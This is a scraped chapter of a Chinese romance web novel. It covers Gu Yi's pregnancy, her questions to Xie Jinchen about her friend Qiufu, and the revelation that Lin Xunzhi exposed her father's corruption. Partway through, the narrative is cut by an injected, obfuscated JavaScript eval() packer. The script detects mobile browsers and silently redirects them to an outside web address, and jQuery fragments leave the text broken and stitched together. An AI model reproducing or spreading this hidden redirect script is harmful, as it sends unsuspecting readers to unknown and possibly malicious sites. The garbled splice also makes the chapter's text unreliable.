12. 第 12 章

作品:《清冷太傅偏要对我火葬场

    孩子?


    顾仪低下头,她的手掌已不受她控制地落在了自己的小腹上。


    入京后,她便爱上了看话本这档事。


    话本里,经常会写这些事,受尽磨难的女子有了孩子,那夫君便对她好了一些。


    可话本里写的更多的是,那孩子不能被亲生母亲抚养长大,因为话本里的女子总是命运凄惨,遭遇那样多的坎坷。


    顾仪的眼皮耷拉下来,缄默不语,轻轻咬着下唇,像是经历了某种痛苦。


    谢觐臣的眼神倏然暗了下来。


    “你不欢喜吗,小仪?”


    谢觐臣让屋里的人都出去,他今日休沐,不用去上朝,所以他在榻边坐了下来。


    “大夫……大夫会不会误诊了?”


    她结结巴巴地问。


    谢觐臣便笑,他的手贴在她的小腹上,顾仪觉得他的眼眶有些红,因为他生得很白,冷玉一样的白,眼尾的洇红便格外明显。


    “不会的,大夫说已经一个多月了,小仪,你欢喜吗?”


    谢觐臣问了和方才一样的话。


    “我不知道。”


    顾仪拿开他贴在自己小腹的手,他的掌心太热,她觉得自己的小腹都快被捂出汗。


    她盯着谢觐臣的脸看了许久,看得很是专注。


    移开眼时,她的耳垂便有些红,其实她只是突然想到,谢觐臣皮囊极佳,如果这个孩子真的出生,大概是不丑的。


    谢觐臣今日格外有耐心,他从身后抱住她,帮她整理散乱的长发。


    “小仪,我知道你不喜欢京城,明年我带你回江南过节,那时候孩子已经出生了,我们去江南的乡下住一阵。”


    顾仪疑惑地从他怀里转过身来,她几乎想捏一捏谢觐臣的脸,她怀疑谢觐臣是被夺舍了。


    他们初遇便是在江南的乡野,那时候,她是不知天高地厚的农女,他是被暗杀逃亡至此的探花郎。


    她也曾想过,如果那时候他们没有相遇就好了。


    “你没有骗我?”


    顾仪还是不相信。


    谢觐臣身上流着皇室的血脉,在旁人面前,他看似温和,可顾仪知道,谢觐臣骨子里是个很冷很冷的人。


    “我为何要骗你?”


    谢觐臣俯着脸亲吻她的头发。


    “那我想求你一件事,谢觐臣,你答应我吧。”


    顾仪扯住他的衣袖,他们许久没有这样平和真挚地坐在一起说过话,她颤着眼睫问:


    “秋芙真的死了吗,你不要因为不喜她便骗我。”


    “谢觐臣,我知道你不喜欢江南的乡下,你不用强迫自己去的,作为交换,你告诉我秋芙去了哪里,她是做珠钗过日子的人,小时候她便说过,以后我有了孩子,她要送我一支石榴金步摇。”


    谢觐臣只是静静地啄吻她的颈侧,他今日未曾戴冠,只用一根发带绑了些,一缕长发便散落滑过她的脖颈。


    “小仪,秋芙没有死,她只是回江南嫁人,我给她指了婚,她便嫁给了江南一带的小官。”


    顾仪不喜欢谢觐臣与她青丝交缠,她拿开属于谢觐臣的头发,冷冷道:


    “我就知道,秋芙没有死,你只是想用秋芙来整治我。”


    “还有,你为何要给秋芙指婚,这样她又要和一个与她毫不相干的男子住在一起。”


    顾仪扭过头,严肃道:


    “谢觐臣,太后这样喜欢你,那日太后为你我赐婚,哪怕你违抗太后懿旨,太后也未必舍得罚你。”


    谢觐臣缄默许久,他看着她的眼睛,很轻很轻地说:


    “小仪,太后权势威重。”


    这样的话,她是不信的。


    “可是,你不是灌我喝了凉药吗,我怎么还会有孩子?”


    谢觐臣便不答了,他起身替她掩好了被角。


    “天色还早,你再睡一会。”


    帷帐内再度暗了下来,帐影轻曼,梦醒不知在何时。


    贞熙二十二年开春。


    突厥政权突变,东突厥国王再次发兵攻打剡朝边境。


    宫里的宴会都停了下来,满宫都变得肃穆。


    顾仪已经显怀,谢觐臣去宫里的次数越来越多,她甚至一连半月都未见到他。


    “夫人,您想要生一个小小姐,还是一个小公子啊?”


    弦月每日都有许多话要同她讲,好像对于这个孩子,弦月比她还要用心。


    “生下来就好了。”


    顾仪照着镜子,怔愣了一瞬。


    弦月也是一愣,她赶紧说:“夫人,您受福泽庇佑,定会顺顺利利。”


    顾仪没有告诉任何人,她还在做西北的梦。


    她还梦到,她没有生下孩子,她躺在血泊里,身下是黄土。


    “梅子留酸软齿牙,芭蕉分绿与窗纱。日长睡起无情思,闲看儿童捉柳花。”


    大夫说,前三个月最为重要,所以谢觐臣已经不让她出府。


    顾仪捧着一本书,许久都没有翻页,她走了神,连谢觐臣是何时进来的都未察觉,等到他念出书上这句诗她才抬起头。


    这句诗实在太过浅显,被谢觐臣这样一字字念出,顾仪有些耳热。


    “你……”


    谢觐臣先一步俯下身,亲了亲她的唇角,他的手指温凉,覆在她的耳后时让她有些发颤。


    顾仪发现了,她有了身孕,谢觐臣便对她比从前好了许多。


    “你不要亲我。”


    顾仪放下这本在谢觐臣面前拿不出手的诗集。


    谢觐臣是探花郎,写的是鞭辟入里的文章,她除了看话本便是看这样的诗集,她莫名不想让他知道她在看些什么书。


    “你去了宫里许多日,我以为你这个月都不会回来了。”


    谢觐臣喝了她书案上的茶水,他比半月前清瘦了些。


    “过几日便是元宵,你想不想去看花灯?”


    顾仪眨了眨眼,先是疑惑,随后眼梢便微扬,但随即,浅浅的笑意又消散在唇边。


    谢觐臣轻轻捏了捏她的脸颊。


    这般亲昵的动作从来不是谢觐臣会做的,他有各种办法来亲她,但不是这样的亲昵,好像他们的关系很好一样。


    “你做什么?”


    顾仪蹙了眉,瞪着眼,一双美眸睁得乌润浑圆。


    “我想听你再念一遍。”


    谢觐臣修长的手指挑开她方才合上的诗集,顾仪再一看,铺开的这一页,正是她方才翻开的地方。


    “小仪,念一遍,我就带你出府。今年京城的花灯很热闹,我从未去看过花灯。”


    她的嗓音清甜透亮:


    “梅子留酸软齿牙,芭蕉分绿与窗纱。”


    “日长睡起无情思,闲看儿童捉柳花。”


    ……


    距离元宵还有一日。


    “夫人,今年檐下挂的灯可好看?”


    傍晚,天色半沉,灯笼高挂,流光溢彩。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172814|165175||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>顾仪出了阁内,沿着竹林缓缓向前堂走去,谢觐臣近来很好说话,她便想着托谢觐臣给秋芙送些银子,她也给秋芙写了信,希望她下次回乡时,可以去林娘的墓上替她祭拜一二。


    她是要当娘亲的人,从前那些过往她渐渐忘了。


    她也慢慢与自己和解,林娘再如何,也是在漫漫乡野里抚养她长大的人,她依旧思念林娘,这不是她的错,她不想压抑自己。


    “弦月,你说,人是不是总是这样,只记得好,不记得坏。”


    弦月说,人只有记得舒心的日子,才能越过越好。


    到了前堂的阶下,她立在原地,有侍从推了门,走出来的是林峋之。


    顾仪看清灯下人的面容时,有些讶异。


    林峋之也看到了她。


    顾仪裹着狐裘织锦斗篷,绛红色裙裾层叠交织,颈间环着白绒绒的风领,她如今显怀,但下巴却没长什么肉,容颜依旧,欺霜赛雪,甚至愈发明艳摄人。


    “谢夫人。”


    林峋之如今穿的是件绿色圆领袍衫,那是六品官员的官服。


    林峋之曾是她父亲手底下的门生,但只是同进士出身,在京城里并不出彩。


    顾仪想起她第一次见到林峋之的时候,是在尚书府外,她先见到的不是林峋之,是林峋之的娘亲。


    那妇人衣衫简陋,手面粗燥如树皮,令她想起了久在田野劳作的林娘。


    数年不见,林峋之已经与谢觐臣走得这样近。


    “林大人。”


    她微微点头,弦月替她拢了拢斗篷。


    “大人的娘亲身体还好吗?”


    或许是因为要当娘亲,她对有些事记得格外清楚,她记得,林峋之的娘亲有肺痨。


    林峋之身形有片刻的僵硬,他面容冷硬,素来不笑,国公府暖融融的灯光打在他的眉眼间,照得他像是工笔刻出来的人物,他低头说:


    “一切都好。”


    顾仪便点头,随即墨辞从屋内走了出来,为她开了门。


    “夫人,大人在等你。”


    顾仪走进屋内的时候,谢觐臣在写折子,她进来时便多看了墨辞一眼,因为她并未提前告知谢觐臣,她要来前堂找他。


    “我煮了杏酪。”


    这是林娘教她的手艺,林娘说她做的最好的,便是杏酪。


    “你尝尝有没有冷掉。”


    顾仪直直地看着谢觐臣去端碗,有些紧张,她希望这碗杏酪可以让谢觐臣同意她给秋芙送信。


    “冷了。”


    谢觐臣握着银勺,尝了一小口,便说冷了。


    顾仪蹙了眉,她如今有了孩子,做一碗杏酪并不容易,谢觐臣又恢复从前的模样,他眉眼冷淡,定定地看着她。


    “我尝尝。”


    谢觐臣捧起碗,喂了她一勺,她有些不习惯,但没拒绝。


    “还是热的。”


    顾仪的声音大了些,底气也足起来,明明还是热的,甚至是刚刚好可以入口的程度。


    谢觐臣看到了顾仪藏在袖中的信,他从她的袖中将信抽了出来。


    “我想把这封信寄给秋芙,我知道她得罪了你,所以我煮了杏酪替她给你赔罪,你能告诉我秋芙是嫁给了哪位官员吗?”


    谢觐臣当着她的面撕开了信封。


    他看得很快,看完便将信纸放到了桌案上,可他答了一句不相干的话,他说:


    “你父亲贪污之事,是林峋之向太后揭发的。”